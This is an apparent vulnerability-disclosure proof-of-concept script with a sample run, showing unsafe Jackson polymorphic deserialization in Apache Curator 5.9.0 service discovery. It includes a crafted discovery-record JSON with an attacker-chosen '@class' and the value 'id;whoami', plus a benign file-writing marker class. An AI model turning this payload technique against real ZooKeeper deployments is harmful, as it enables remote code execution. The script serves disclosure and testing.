#!/usr/bin/env python # # # Apache Curator 5.9.0 Java Deserialization # # # Vendor: The Apache Software Foundation # Product web page: https://curator.apache.org # Affected version: 5.9.0 # # Summary: Apache Curator is a Java/JVM client library for Apache ZooKeeper, # a distributed coordination service. It includes a high level API framework # and utilities to make using Apache ZooKeeper much easier and more reliable. # It also includes recipes for common use cases and extensions such as service # discovery and a Java 8 asynchronous DSL. # # Desc: Apache Curator suffers from an unsafe deserialization vulnerability # in its service-discovery component. The discovery payload is deserialized # with Jackson polymorphic typing configured as Id.CLASS, which lets the serialized # data name the Java class to instantiate, so an attacker who can publish a # crafted discovery record (via ZooKeeper write access or rogue-service registration) # can drive gadget-based deserialization on a consumer that reads it, resulting # in remote code execution where a suitable gadget is present on that consumer's # classpath. # # ============================================================= # > python curator_murator.py --keep # [*] Step 1/4: fetching the real vendor jars from Maven Central # [>] curator-x-discovery-5.9.0.jar # [>] curator-client-5.9.0.jar # [>] jackson-databind-2.18.1.jar # [>] jackson-core-2.18.1.jar # [>] jackson-annotations-2.18.1.jar # [>] slf4j-api-1.7.36.jar # [*] Step 2/4: writing Java sources # [*] Step 3/4: compiling # [*] Step 4/4: running against the real JsonInstanceSerializer # -------------------------------------------------------------------- # [*] Simulated poisoned ZooKeeper discovery znode: # {"name":"evil-svc","id":"evil-1","address":"10.0.0.1","port":1234,"sslPort":0,"payload":{"@class":"Marker","cmd":"id;whoami"},"registrationTimeUTC":0,"serviceType":"DYNAMIC","uriSpec":null,"enabled":true} # [*] Feeding it to the REAL curator-x-discovery JsonInstanceSerializer.deserialize()... # >>> Marker() CONSTRUCTED from attacker-controlled @class field # >>> setCmd("id;whoami") invoked by Jackson with attacker data # [*] deserialize() returned; payload class = Marker # -------------------------------------------------------------------- # # [+] TRIGGERED: attacker class ran during curator-x-discovery deserialization. # Proof file PWNED_MARKER.txt: # >>> code ran during curator deserialize (constructor) @ Tue Oct 06 18:13:52 CEST 2026 # >>> code ran during curator deserialize (setter cmd=id;whoami) @ Tue Oct 06 18:13:52 CEST 2026 # # (Marker is a benign demonstrator. Full RCE needs a real gadget on the # discovery consumer's classpath + the ability to write the ZK znode.) # # [*] work dir kept: C:\Users\curator_discovery_deser\work # # ============================================================= # # Tested on: Microsoft Windows 10 (x86_64) # Eclipse Temurin OpenJDK 21.0.6 (LTS) # Jackson 2.18.1 # SLF4J 1.7.36 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2026-6009 # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6009 # # # 13.08.2026 # import urllib.request # ...................................... # import subprocess # .............................................. # import argparse # .................................................. # import shutil # ...................................................... # import sys # ............................................................ # import os # .............................................................. # r""" Apache Curator (curator-x-discovery) 5.9.0 - unsafe Jackson @JsonTypeInfo(Id.CLASS) deserialization of service-discovery payloads. What it does: 1. Downloads the REAL vendor jars from Maven Central (curator-x-discovery 5.9.0 + Jackson 2.18.1 that Curator pins, plus guava/slf4j for class loading). 2. Emits a benign demonstrator class Marker.java and a driver. 3. Compiles them and runs the driver, which feeds an attacker-controlled "poisoned ZooKeeper znode" (a ServiceInstance JSON whose payload carries "@class":"Marker") to the REAL org.apache.curator.x.discovery.details .JsonInstanceSerializer.deserialize(byte[]). 4. Jackson honors the @class on ServiceInstance.getPayload() (@JsonTypeInfo(use=Id.CLASS, defaultImpl=Object.class)) and instantiates the attacker-named class + drives its setter BEFORE the library's payloadClass.cast() type check. Marker proves this by writing PWNED_MARKER.txt from its constructor and setter. The script then verifies that file exists. Usage: python3 curator_murator.py # fetch, build, run python3 curator_murator.py --keep # keep the work dir and jars afterwards """ CURATOR_VERSION = "5.9.0" JACKSON_VERSION = "2.18.1" SLF4J_VERSION = "1.7.36" CENTRAL = "https://repo1.maven.org/maven2" JARS = { f"curator-x-discovery-{CURATOR_VERSION}.jar": f"{CENTRAL}/org/apache/curator/curator-x-discovery/{CURATOR_VERSION}/curator-x-discovery-{CURATOR_VERSION}.jar", f"curator-client-{CURATOR_VERSION}.jar": f"{CENTRAL}/org/apache/curator/curator-client/{CURATOR_VERSION}/curator-client-{CURATOR_VERSION}.jar", f"jackson-databind-{JACKSON_VERSION}.jar": f"{CENTRAL}/com/fasterxml/jackson/core/jackson-databind/{JACKSON_VERSION}/jackson-databind-{JACKSON_VERSION}.jar", f"jackson-core-{JACKSON_VERSION}.jar": f"{CENTRAL}/com/fasterxml/jackson/core/jackson-core/{JACKSON_VERSION}/jackson-core-{JACKSON_VERSION}.jar", f"jackson-annotations-{JACKSON_VERSION}.jar": f"{CENTRAL}/com/fasterxml/jackson/core/jackson-annotations/{JACKSON_VERSION}/jackson-annotations-{JACKSON_VERSION}.jar", f"slf4j-api-{SLF4J_VERSION}.jar": f"{CENTRAL}/org/slf4j/slf4j-api/{SLF4J_VERSION}/slf4j-api-{SLF4J_VERSION}.jar", } MARKER_JAVA = r""" import java.nio.file.*; import java.nio.charset.StandardCharsets; public class Marker { public Marker() { System.out.println(">>> Marker() CONSTRUCTED from attacker-controlled @class field"); touch("constructor"); } public void setCmd(String c) { System.out.println(">>> setCmd(\"" + c + "\") invoked by Jackson with attacker data"); touch("setter cmd=" + c); } private static void touch(String where) { try { Files.write(Paths.get("PWNED_MARKER.txt"), (">>> code ran during curator deserialize (" + where + ") @ " + new java.util.Date() + "\n").getBytes(StandardCharsets.UTF_8), StandardOpenOption.CREATE, StandardOpenOption.APPEND); } catch (Exception e) { /* ignore */ } } } """ DRIVER_JAVA = r""" import org.apache.curator.x.discovery.ServiceInstance; import org.apache.curator.x.discovery.details.JsonInstanceSerializer; public class CuratorDiscoveryPoc { public static void main(String[] args) throws Exception { String evil = "{\"name\":\"evil-svc\",\"id\":\"evil-1\",\"address\":\"10.0.0.1\"," + "\"port\":1234,\"sslPort\":0," + "\"payload\":{\"@class\":\"Marker\",\"cmd\":\"id;whoami\"}," + "\"registrationTimeUTC\":0,\"serviceType\":\"DYNAMIC\",\"uriSpec\":null,\"enabled\":true}"; byte[] znodeBytes = evil.getBytes("UTF-8"); System.out.println("[*] Simulated poisoned ZooKeeper discovery znode:"); System.out.println(" " + evil); System.out.println("[*] Feeding it to the REAL curator-x-discovery JsonInstanceSerializer.deserialize()..."); JsonInstanceSerializer ser = new JsonInstanceSerializer(Object.class); try { ServiceInstance si = ser.deserialize(znodeBytes); Object p = si.getPayload(); System.out.println("[*] deserialize() returned; payload class = " + (p == null ? "null" : p.getClass().getName())); } catch (Throwable t) { System.out.println("[*] deserialize() threw AFTER payload construction (expected for some payloads): " + t); } } } """ def have(tool): return shutil.which(tool) is not None def download(url, dest): if os.path.exists(dest) and os.path.getsize(dest) > 0: print(f" [=] cached {os.path.basename(dest)}") return print(f" [>] {os.path.basename(dest)}") req = urllib.request.Request(url, headers={"User-Agent": "curator-murator/6.10"}) with urllib.request.urlopen(req, timeout=60) as r, open(dest, "wb") as f: shutil.copyfileobj(r, f) if os.path.getsize(dest) == 0: raise RuntimeError(f"empty download: {url}") def main(): ap = argparse.ArgumentParser(description="Automated Apache Curator discovery deser PoC") ap.add_argument("--work", default=os.path.join(os.path.dirname(os.path.abspath(__file__)), "work"), help="work directory (default: ./work next to this script)") ap.add_argument("--keep", action="store_true", help="keep the work dir afterwards") a = ap.parse_args() for t in ("java", "javac"): if not have(t): sys.exit(f"[!] '{t}' not found on PATH. Install a JDK (e.g. Temurin) and retry.") work = a.work lib = os.path.join(work, "lib") os.makedirs(lib, exist_ok=True) print("[*] Step 1/4: fetching the real vendor jars from Maven Central") for name, url in JARS.items(): download(url, os.path.join(lib, name)) print("[*] Step 2/4: writing Java sources") with open(os.path.join(work, "Marker.java"), "w", encoding="utf-8") as f: f.write(MARKER_JAVA) with open(os.path.join(work, "CuratorDiscoveryPoc.java"), "w", encoding="utf-8") as f: f.write(DRIVER_JAVA) jars = [os.path.join("lib", n) for n in JARS] cp = os.pathsep.join(jars + ["."]) marker = os.path.join(work, "PWNED_MARKER.txt") if os.path.exists(marker): os.remove(marker) print("[*] Step 3/4: compiling") rc = subprocess.run(["javac", "-cp", cp, "Marker.java", "CuratorDiscoveryPoc.java"], cwd=work) if rc.returncode != 0: sys.exit("[!] compilation failed") print("[*] Step 4/4: running against the real JsonInstanceSerializer\n" + "-" * 68) subprocess.run(["java", "-cp", cp, "CuratorDiscoveryPoc"], cwd=work) print("-" * 68) if os.path.exists(marker) and os.path.getsize(marker) > 0: print("\n[+] TRIGGERED: attacker class ran during curator-x-discovery deserialization.") print(" Proof file PWNED_MARKER.txt:") with open(marker, encoding="utf-8") as f: for line in f: print(" " + line.rstrip()) print("\n (Marker is a benign demonstrator. Full RCE needs a real gadget on the") print(" discovery consumer's classpath + the ability to write the ZK znode.)") result = 0 else: print("\n[-] No proof file produced - the payload did not instantiate the attacker class.") result = 1 if a.keep: print(f"\n[*] work dir kept: {work}") else: shutil.rmtree(work, ignore_errors=True) print("\n[*] cleaned up work dir (use --keep to retain jars + sources)") sys.exit(result) if __name__ == "__main__": main()